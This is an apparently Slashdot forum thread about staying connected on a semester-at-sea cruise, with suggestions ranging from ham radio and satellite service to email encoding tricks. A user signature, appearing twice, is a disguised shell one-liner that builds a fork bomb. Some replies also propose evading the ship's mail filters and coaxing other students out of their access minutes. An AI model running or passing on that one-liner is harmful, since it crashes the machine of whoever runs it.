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Internet Communications While At Sea?
ubergamer1337 writes "Next semester I will be participating in a college study abroad program known as Semester at Sea. The gist of it is that over four months 600ish students sail around the world on a converted cruise ship, visiting diverse port cities while taking classes when we are between ports. Debates about its educational merit aside, my internet options while I will be at sea will be severely limited. We get just 100 minutes of internet access for the entire voyage, and once thats gone the only internet access we have is a university email address, which is limited to messages under a megabyte with no attachments. I have been pondering different ways to staying in contact with friends and family back at home without running to an internet cafe in every port, and I have already decided that I want to set up a blog that can be updated by email, but I wanted to ask the collective wisdom of Slashdot if anyone knows of any other ways to transmit more then just your standard message through email. Some things I would be particularity interested in being able to figure out would be a way to send photos (encode them as text?), and a way to get Wikipedia pages etc. emailed to me."
That works out to 55.5 seconds, roughly, per day. Do they calculate the time you use the computer hooked to the internet, or do they calculate the time actually used to transmit and receive data?
My wife and I love cruising, but she runs her own business and can't be away from email for that amount of time. Thankfully there are options now :)
Most ships these days have cell towers on the ship connected by satellite that usually provide GPRS data (and it looks like the SAS one does as well). The problem is they're considered international roaming, which costs tons of money. However, T-Mobile has an unlimited international 'email' option for blackberry for $20/mo that we've discovered includes BIS traffic through the web browser and even tethering (though we've heard conflicting reports about tethering, we've never been charged for it while at sea). There's always Mobi-shark for routing laptop traffic through the BIS, if tethering is a problem.
So we either tether to her laptop, or just use blackberry and a wireless keyboard and end up with a reasonable means of staying connected (granted, at dial-up speeds). Of course there's also the expense of the blackberry and monthtly plan, but that's only going to add ~2% to the cost of the semester.
There's also the option of paying for the wifi access on a per-minute basis. The latency sucks, but if you're using a fat email client (thunderbird, etc) it only takes us 1-3 minutes to sign in, send and receive messages, and sign out. On commercial cruises they charge somewhere around $.50/min, so when there's cabin based wifi we generally opt for that route, since it's way less hassle than the cell option, we don't have to worry about T-Mobile changing their policies on what's included, and $1.50 a day is not a huge price to pay relative to the cruise.
If they're limiting your email to text based only with no attachments, it's probably at their computers (since I'm not sure how they'd restrict you to that on theirs), which means your options for doing funky encoding stuff to get around it will likely be limited. If not, and you can use your own computer, there are tons of ways to convert anything to text (after all, that's what your email client has to do to send attachments, too). The downside is the receiving end would have to be smart enough to know what you're sending.
For wikipedia, I'd say take a copy with you.
Surf the RMS way: set up some kind of server at home that you can email a link to and it will wget it and return the content back to you via email. Since you have seemingly unlimited email access, this might be the most efficient way to surf.
You can also encode images into base64, don't know how big an image it would take before you hit the 1MB limit, but it's possible.
Reviewing just the first hour of video games.
Isn't the point of something like "Semester at Sea" to immerse yourself in the program, and become involved deeply in the studies and the people you're traveling with?
What you're wanting to do is like ordering escargot in a French restaurant and smothering them in ketchup.
Man. you're going to be SOL, my friend.
;)
Your problem of only 100(125 according to TFA) minutes for a 4-month cruise will be compounded by a super-slow internet connection, compounded further by the extra speed-lag of wireless. From the looks of things, your computers will be all windows and probably use IE as the browser, which means no ad or script blocking. The best thing to do in this case would be to bring plenty of analog reading material and other distractions(read: pr0n, booze, or dope) aboard the ship and hope that you get laid.
The first thing you should do is wean yourself from constant gratification through the internet. When you do use the on-board internet, chances are that pages will load slow as hell so try to use "hypermiling" techniques like stopping the page load as soon as the link you want appears(don't wait for the whole page to load), then do that again and again until you get to the content you want. As far as the blog thing goes, use your free official E-mail addy to send plaintext to somebody else who will maintain your blog for you and send you plaintext wikipedia articles as desired, and do that as much as possible so that you can save your precious 125 minutes - It won't be a real-time thing, but that's one of the whole points of being at sea(or camping, for that matter). An alternate suggestion would be to do everything yourself onboard, then release it all at once when you hit shore. Either way, best of luck to you, because cruises are nowhere near as exciting as the commercials make them out to be
Temporarily cutting off contact will be the best thing you ever do for yourself.
NetInfo connection failed for server 127.0.0.1/local
Supposedly Stallman doesn't surf the web - he sends an email with a URL and the email is returned with the page...
You can also look into maximizing your 100 minutes - cache a lot, don't get images, don't get ads, etc. Maybe team up wtih a few other people, so common interests/needs can be cached instead of downloaded once for each of you.
What about wireless access via PCMCIA card or cell phone? May work when closer to the coast, would certainly work in-port (depending on where you are in port of course). May even be able to make some $ off other students by setting up your own network, etc.
And of course you could always social engineer someone elses time away from them for non-identifying use such as fark, slashdot, etc. Save your minutes for your educational needs :)
Don't blame me, I voted for Kodos
Did you consider that the limitations on Internet usage are in place for a reason? It may not be the bandwidth, it may be to force participants in this program to get away from their computers and interact with each other. The limits they place sound pretty reasonable to me.
With that said, I'd say satellite is an option while at sea. Otherwise depending on where you go perhaps a tethered cell phone would do the trick. Expensive either way!
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Why not whip up some code that will wait for you to send an email to it containing some sort of pass code and a URL, then it fetches the page and all images, lzma and yEncs it, and then emails it back to you. It may not work so nicely with complicated sites, but for things like Wikipedia it would work great. I'm willing to bet however, that with enough effort you could write a fully fledged proxy. Latency may be really crap, but it would be undeniably cool. Also, have a look at programs such as http://code.kryo.se/iodine that allow you to run IPv4 over DNS.
Screw your email.
Sounds like heaven.
I am very small, utmostly microscopic.
Speaking from experience, we hated going this route. You end up spending all of your time in ports searching for internet, which is really the last thing you want to be doing in some exotic foreign city :)
Plus, we've discovered that it's nearly impossible to research ahead of time, the language barriers alone make googling for it really hard.
I know some guy who went without email access for a whole month. Mind you, he ate his own head.
Still if you're not one of those types who defines himself by being "l33t" or a "gamer" you'll be ok.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That's a ridiculously good point. Applications like Gallery 2 have remote applications that I'm sure can be tuned to your disconnected-mode needs. Simply get everything ready to upload before you login, then when you're online all the human slowness will be taken out of the equation.
55.5 seconds per day doesn't seem like a lot, but if their internet connection is worth their (sea) salt even a 1mbit satellite link is almost 7 megabytes of data per day... assuming everyone else isn't doing the same thing at the same time of course.
If you're really interested in the process, check out Message Queuing. The idea is asynchronous communication between client/server so that you can do stuff when disconnected from the network, and saving your precious "almost" minute per day :)
-Matt
--- Need web hosting?
Why not share the internet connection with everyone. 100 minutes for 600 people is alot. Setup an intranet or even a wireless network. Combine the minutes and you will have close to 42 days of internet access for everyone. ((100 minutes * 600 people) / 60 minutes) / 24 hours = 41.666 days.
If you limit the internet conection to evenings, lets say to 12 hours, then you can double that to 83 days.
NO! NO! Please don't mod me, I'm too young to die a troll. *click* Oh the pain, the pain...
What? Am I the only old-timer here? There's an RFC standard that fits this PERFECTLY
http://www.rfc-editor.org/rfc/rfc1149.txt
"1 April 1990: A Standard for the Transmission of IP Datagrams on Avian Carriers"
Thomas Dzubin
Karma: Excellent. 15 moderator points expire sometime.
You have plenty of time to get your general license, which should permit you to use airmail using an amateur radio. But you have to hurry, and come up with the $2500 for equipment.
Check out how to Post to your wordpress blog using email. or possibly Internet Access Via Email, Get Web Pages to deliver web pages via html formatted email.
That is all.
Is it sad that I am more likely to recognize you and your posts by your sig than your name or UID?
There is pretty much next to nothing you can do. Since you are at sea you won't be able to use your cell phone to connect to the web.
A satellite phone with a very very slow dial up connection is your best bet, but too cost prohibitive. Here's a company that does its job fairly well http://www.globalstar.com/
The only way you'll have affordable and uninhibited internet access is to wait until you get to port.
However, for wikipedia you can actually download an offline version of the entire database. For a wikipedia like experiance follow the instructions on this website
http://www.blindedbytech.com/2006/08/31/how-to-install-wikipedia-for-offline-access/
Also the raw dump for the english articles is here:
http://download.wikimedia.org/
Oh you can also download a DVD version of Wikipedia from that link above. Definitely worth looking at!
Good luck! And definitely have an awesome time. That program sounds interesting and I will look into it as well since I'm a 2nd semester college freshmen.
Back when Chapman University ran it, we called it "The Love Boat," so immersion and deep involvement with fellow travelers, yes, the studies, not so much...
Unfortunately short of hanging a satellite dish out your cabin window there really isn't a way for you to get a TCP/IP uplink. RFC 1149 does specify a TCP connection modality which could be suitable to transmission of data over long distances at sea, but it was last implemented in 1991 and the engineers responsible were never able to get it to send more than a few hundred bytes of data. YMMV, but I think it's probably your best shot.
What you're talking about really seems like they're going to be conducting some sort of study involving you guys. At least, I sure as heck would if I was going to have the oppurtunity to put 600 people to sea for 4 months. I'm betting that what you do (and how well you do in the classes) is going to be monitored much more than you seem to think, and if this internet thing is part of their rules, it would be a good idea to stick with it. I could be wrong, I just can't see a university letting a chance like that for their psych/soc department going to waste. If I was a professor in either of those departments I'd be all over this program like white on bread.
You're welcome.
davejenkins.com |
Maybe it's some sort of strategy. They want the students to like see the world rather than sitting in their cabins in underweat with the curtains shut trolling slashdot and IMing each other about how bored they are.
Or something.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Technically: you say "messages under a megabyte with no attachments" and ask for "a way to send photos (encode them as text?)". That's UUCP. Setting up a mail/web server that receives a mail with text followed by uuencoded images and posts that to a blog if and only if there's a password in the header or subject sounds like a 50-line perl script.
However, you don't say that you get to take your own computer along; if you can't do that a lot of your options are shot.
Socially? My advice: live with it. Make a website later. Make the most of the cruise, spend time on your homework^Wcabinwork. OK I'm extrapolating, I know Internet access at sea is extremely expensive and that that's probably the reason for the restrictions, but it probably isn't a good idea to spend time circumventing your Internet restrictions to update your blog while the guys who devised said restrictions to get you weaned off your Internet addiction are wondering why you're not socializing ;-)
In essence, you want what used to be the norm back in the BBS days - queued up mail.
Actually, this is still the way email works. It's just that, with the connection always up, you never see stuff waiting around in your outbox anymore as it gets sent right away.
When our name is on the back of your car, we're behind you all the way!
There is a free email option. It requires a HAM license (note: morse code is not required anymore) and a SSB transmiter and a hundred foot antenna. A good SSB unit is around a thousand bucks.
It is only for text based non-commercial emails but functions anywhere (under most weather conditions).
Doesn't sound like a solution for a students desire to surf the web for free anywhere/anytime but email is available and pervasive just about anywhere.
Comment removed based on user account deletion
and you will have enough Internet spewing all over the place for everyone!
[n][i][n][e][d][i][c][e]
The severing of your electronic tethers is a luxury not to be taken lightly, my friend. Relax and enjoy the ocean breeze and various ports of call.
There is life without the Internet.
Learn how the human race lived during the last century - get a short-wave radio and some good books and discover for yourself how a simple life can be a deeply satisfying life.
What?
Not to threadjack, but this is related...
A friend of mine is stationed in Iraq with a similar problem. I went looking to see if there was something here I could buy and ship there so that he would have something more than just enough time and resources to send a couple of mails a day.
The only thing I could find was a compay called TS2 Satellite, they want 4K for their equipment and then about $900/mo for service. I mean I love the guy but I can't shell out that kind of dough (especially as he's there till Dec)
Anyone know of any other solutions?
jiwire.com
Get a HAM radio license and a portable radio (like the VX-7R or whatever works for you).
While you likely wont be able to make worldwide contacts (unless you bring a 30+ meter long antenna with you as well), you should be able to contact many people while you are near the shore.
Believe me, it's much more interesting than surfing the web. And in case of an emergency, you have some means of backup communication.
About blogging: Don't blog. At least not "online". If you really want to blog (a some sort of diary), do it offline but spend as little time as possible on it; just take quick notes. When the semester is over, take that notes, refine them into articles and release them part-by-part over some time. This way, you don't waste precious time of your semester AND you have much more leisure time to really release refined articles.
Look, this thing is totally safe! Built it myself, you know. You just press that button like this and then turn that lev
Just get a HAM license, and use WINLINK/AIRMAIL and you can have all the free email you want.
http://www.winlink.org/
http://hamradio.arc.nasa.gov/meetings/HFradioatsea.html
You can run winlink over HF using any HF radio ($200+) and a decent wire antenna on the ship.
Its very popular for sea and also use in remote locations by Missionaries in Africa etc..
You can also use APRS to do automatic position reporting for your ship over HF Radio as well and your family would be able to track your location on a map. http://www.findu.com/
There are also various 'nets' where people all get together on a particular frequency and exchange messages etc. HAM's sill provide national message traffic passing services (Aka TELEGRAMS) for health and welfare messages for people. This is one of the main function that HAM's provide for RedCross, disaster locations etc.
You can come to the net and pick up and messages, and send a telegram to any family friends via HF voice.
http://www.cruiser.co.za/radionet.asp
Amateur(HAM) Radio is a very very valuable addition to worldwide boating activities.
-- Given enough time and money, Microsoft will eventualy invent UNIX.
BGAN is your answer. Satellite internet via INMARSAT. Not cheap, but it works (and more importantly works for your specific application). You probably won't want to leave it mounted outside while you are not on the deck and will need to fine a creative way to power it (I believe it is 24V DC or can be powered with a 24V DC power source--probably not a lot of plugs on the weather decks...)
http://en.wikipedia.org/wiki/Broadband_Global_Area_Network
- Sig
You're going to be on a ship with ~300 girls. Get your priorities straight!
Use the opportunity wisely. Soak up the new experiences. DOn't be one of those fools that travel halfway around the world to sit in a McDonalds or an internet cafe.
Forget about the internet, email, wikipedia etc.They'll all still be there when you're done.
Engineering is the art of compromise.
Check out this link here: Airtime pricing and this link: Equipment Rental. That's not the exact unit I've worked with (I have a Hughes 9250 tracking BGAN antenna sitting right to my left at the moment) but it should do ya.
Let me break the cost down for you approximately:
Total:$2820 for four months of basic internet anywhere in the world.
In conclusion: what you want is not cheap at all. I suggest you man up and keep a journal - you know, paper?
http://angryee.blogspot.com
Just include the uuencoded text in the body then.
I've heard tales of an ancient form of communication that used small slabs of tree fiber carried by occasionally tempermental human beings. You can use an antiquated stylus-like device, which instead of selecting icons or doing script recognition on touchscreens of today, they leave behind a quasi-permanent colored marking on the tree fiber substrate, and these glyphical markings can serve to contain the message you would like to send. These tree fiber substrates are capable of including graphic attachments on one side, and hte mesage on the opposite side of the slab. They are often pre-encoded with a selection of graphics to choose from, and sometimes you can create a substrate encoded with a graphic of your own creation using a device able to translate your digital imagery files into the pigmentious container format which is compatible with the wood fiber slab. You will likely need to include a second attachment to these messages, in the form of a second, but smaller slab of wood fiber, a kind of wood-fiber-slab tax which the occasionally tempermental human transporters require, without this second attachment file then you risk your message and other attachments being lost in a sort of delivery black hole. You may have to search for an acceptable terminal which is compatible with sending messages in this format, and these terminals may not always be available to you. But the ancients once used such laughable methods with great success, so it may be somewhat usable for you as well.
How about you forget about obsessively blogging every minute of the day and just, you know, enjoy the cruise. Maybe even socialize a bit.
You never know, you might even end up talking to members of the opposite sex.
No sig today...
You're going to be away at sea for four months with a bunch of college-aged people of the opposite sex, visiting exotic locations and all you can think about is internet access?
I know it's cliche, I know it's oh-so-70's, but does the term "Love Boat" mean anything to you?
Welcome to the club! I'm a Spring 07 alum, and probably the biggest geek onboard during my voyage. Although all the ideas presented here are interesting, you want to be realistic: Satellite internet coverage is expensive, and using your phone as a internet device can rack up global charges very quickly. (I work for a cell phone company and you have no idea how many times I run into bills with thousands of global charges) If you're a true addict like me, you can purchase more internet time through the purser's desk on the ship. It is EXTREMELY expensive ($250 for 400 minutes I believe) and slow as hell. The only time you get a decent speed is when everyone is sleeping (and not hogging the bandwidth), making even VOIP possible. I accrued $2500 in internet charges on my AmEx that took me a few months to pay back. (I have an excellent job that pays my tuition, so it wasn't a huge deal for me) The other real option, that everyone will be doing, is to visit internet cafes in port during your downtime. There isn't a whole lot of downtime when you're exploring a foreign country on a once-in-a-lifetime opportunity, but when there is (ex. immediately after a field excursion, waiting to depart from an hotel/airport, recovering from a big lunch, etc), internet cafes around the world are very inexpensive. Just be careful of all the malware/keyloggers that could be on there - bring along a USB drive with a secure brower or a bootable OS CD if you'll be doing anything important (like checking your bank statement). Check out my voyage blog http://www.alexsong.com/sasblog/
You're going to have to adapt to what sounds like a connectionless environment -- or at least one that's more like having a 1200K dial up modem atmosphere. I'd suggest exploring older technologies not even excluding print and snail mail. My first thought was uuencode which I used successfully to ship megabyte files to and from a site that was literally half-way around the globe and had nothing but dial up access with a 20K limit on each email (no attachments). We would begin with a zip archive then uuencode the archive and send the emails. On receipt the first email was the input to uudecode which could follow the chain to the end and reconstruct the original zip. It sometimes took a few days but that was far faster than sneaker net via floppy diskette and air mail.
Perhaps you should be a bit less concerned about the internets for a while. It's just one semester. Your friends and family will be there when you return. Well, most of them.
I advise (since you asked) that you spend a lot less time thinking about the technological challenges of life at sea, and a lot more time thinking about the social challenge of getting into the pants of your schoolmates (or instructors, if the mood strikes). You're only going to be young once. There will be lots of time for techie fussing later.
Live, damn you... LIVE!!! That's the true educational value of a semester at sea.
I checked out the SAS website, and they say "Email Service and Internet Access - Participants can access web-based email accounts, such as Yahoo, AOL, Hotmail, etc. The technology fee charged to all students and lifelong learners provides 125 minutes of Internet access. Internet usage beyond 125 minutes will incur a charge on a per minute basis." So, he doesn't get cut off after 100 minutes. He gets 125 minutes, but he can pay for more. It's not as bad as he makes out.
You can also encode images into base64, don't know how big an image it would take before you hit the 1MB limit, but it's possible.
No attachments. An attachment is just a UUE or base64 text block inside an e-mail; if attachments aren't allowed, those won't get through the mail server. Some other encoding method, as non-standard as possible, must be devised so that you can fly under the radar and TX/RX binaries as text.
I have not-so-fond memories of being on the 'Net back in the late 1980s, and having to MANUALLY encode/decode UUE or base64 files. It was an absolute joy when the first e-mail clients with automatic UUE/base64 ("attachment") handling appeared.
ROT13 a base64 and create a header which calls it "random text good luck charm 72" or something else? I dunno. Get creative. Hell, probably any filters on the mail server aren't all that sophisticated - they can't really look for anything more than fixed string lengths or UUE/base64 headers, as the actual data is pseudorandom. It might be as simple as deleting the header on send and recreating it on receive.
Fire and Meat. Yummy.